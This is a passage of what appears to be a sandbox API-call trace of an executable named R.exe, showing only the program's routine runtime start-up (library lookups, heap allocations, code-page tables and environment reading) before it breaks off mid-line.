# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 16.08.2019 16:42:50.658 Process: id = "1" image_name = "r.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r.exe" page_root = "0x4cac8000" os_pid = "0x288" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x2b0 [0029.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x42fcc8 | out: lpSystemTimeAsFileTime=0x42fcc8*(dwLowDateTime=0xb4e0d7c0, dwHighDateTime=0x1d55451)) [0029.308] GetCurrentThreadId () returned 0x2b0 [0029.308] GetCurrentProcessId () returned 0x288 [0029.308] QueryPerformanceCounter (in: lpPerformanceCount=0x42fcc0 | out: lpPerformanceCount=0x42fcc0*=14946104492) returned 1 [0029.330] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.330] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.330] GetLastError () returned 0x57 [0029.330] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.330] GetLastError () returned 0x57 [0029.330] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.331] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0029.331] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.331] GetLastError () returned 0x57 [0029.331] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.331] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.331] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.331] GetLastError () returned 0x57 [0029.331] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.331] GetLastError () returned 0x57 [0029.331] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.332] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0029.332] GetProcessHeap () returned 0x7f0000 [0029.332] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.332] GetLastError () returned 0x57 [0029.332] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.332] GetLastError () returned 0x57 [0029.332] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0029.332] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.332] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x364) returned 0x803cb8 [0029.332] SetLastError (dwErrCode=0x57) [0029.333] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xc00) returned 0x804028 [0029.334] GetStartupInfoW (in: lpStartupInfo=0x42fbfc | out: lpStartupInfo=0x42fbfc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x175df0, hStdOutput=0xcfb6380e, hStdError=0xfffffffe)) [0029.334] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0029.334] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0029.334] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0029.334] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe\" " [0029.334] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe\" " [0029.334] GetACP () returned 0x4e4 [0029.334] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x220) returned 0x805430 [0029.334] IsValidCodePage (CodePage=0x4e4) returned 1 [0029.334] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x42fc1c | out: lpCPInfo=0x42fc1c) returned 1 [0029.334] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x42f4e4 | out: lpCPInfo=0x42f4e4) returned 1 [0029.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x42f278, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.334] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x42f4f8 | out: lpCharType=0x42f4f8) returned 1 [0029.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x42f238, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.334] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.334] GetLastError () returned 0x57 [0029.335] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0029.335] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.335] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x42f028, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0029.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x42f9f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ*ðîÏ4üB", lpUsedDefaultChar=0x0) returned 256 [0029.335] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.335] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x42faf8, cbMultiByte=256, lpWideCharStr=0x42f248, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.335] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.335] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x42f038, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0029.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x42f8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ*ðîÏ4üB", lpUsedDefaultChar=0x0) returned 256 [0029.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x80) returned 0x805658 [0029.335] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1c4118, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r.exe")) returned 0x2b [0029.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x34) returned 0x8056e0 [0029.335] RtlInitializeSListHead (in: ListHead=0x1c3ee0 | out: ListHead=0x1c3ee0) [0029.335] GetLastError () returned 0x0 [0029.335] SetLastError (dwErrCode=0x0) [0029.335] GetEnvironmentStringsW () returned 0x805720* [0029.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0029.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x565) returned 0x8061f8 [0029.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x8061f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0029.335] FreeEnvironmentStringsW (penv=0x805720) returned 1 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x98) returned 0x806768 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1f) returned 0x8050a8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x36) returned 0x806808 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x37) returned 0x806848 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3c) returned 0x806888 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x31) returned 0x8068d0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x17) returned 0x806910 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x24) returned 0x806930 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x14) returned 0x806960 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xd) returned 0x7fedd8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x25) returned 0x806980 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x39) returned 0x8069b0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x8069f8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x17) returned 0x806a18 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xe) returned 0x7fedf0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x69) returned 0x806a38 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3e) returned 0x806ab0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1b) returned 0x8050d0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1d) returned 0x8050f8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x48) returned 0x806af8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x12) returned 0x806b48 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x806b68 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1b) returned 0x805120 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x24) returned 0x806b88 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x29) returned 0x806bb8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1e) returned 0x805148 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x41) returned 0x806bf0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x17) returned 0x806c40 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xf) returned 0x7fee08 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x16) returned 0x806c60 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2a) returned 0x806c80 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x29) returned 0x806cb8 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x15) returned 0x806cf0 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1e) returned 0x805170 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x2a) returned 0x806d10 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x12) returned 0x806d48 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x18) returned 0x806d68 [0029.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x46) returned 0x806d88 [0029.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8061f8 | out: hHeap=0x7f0000) returned 1 [0029.337] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="InitOnceExecuteOnce") returned 0x76c4d627 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0029.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 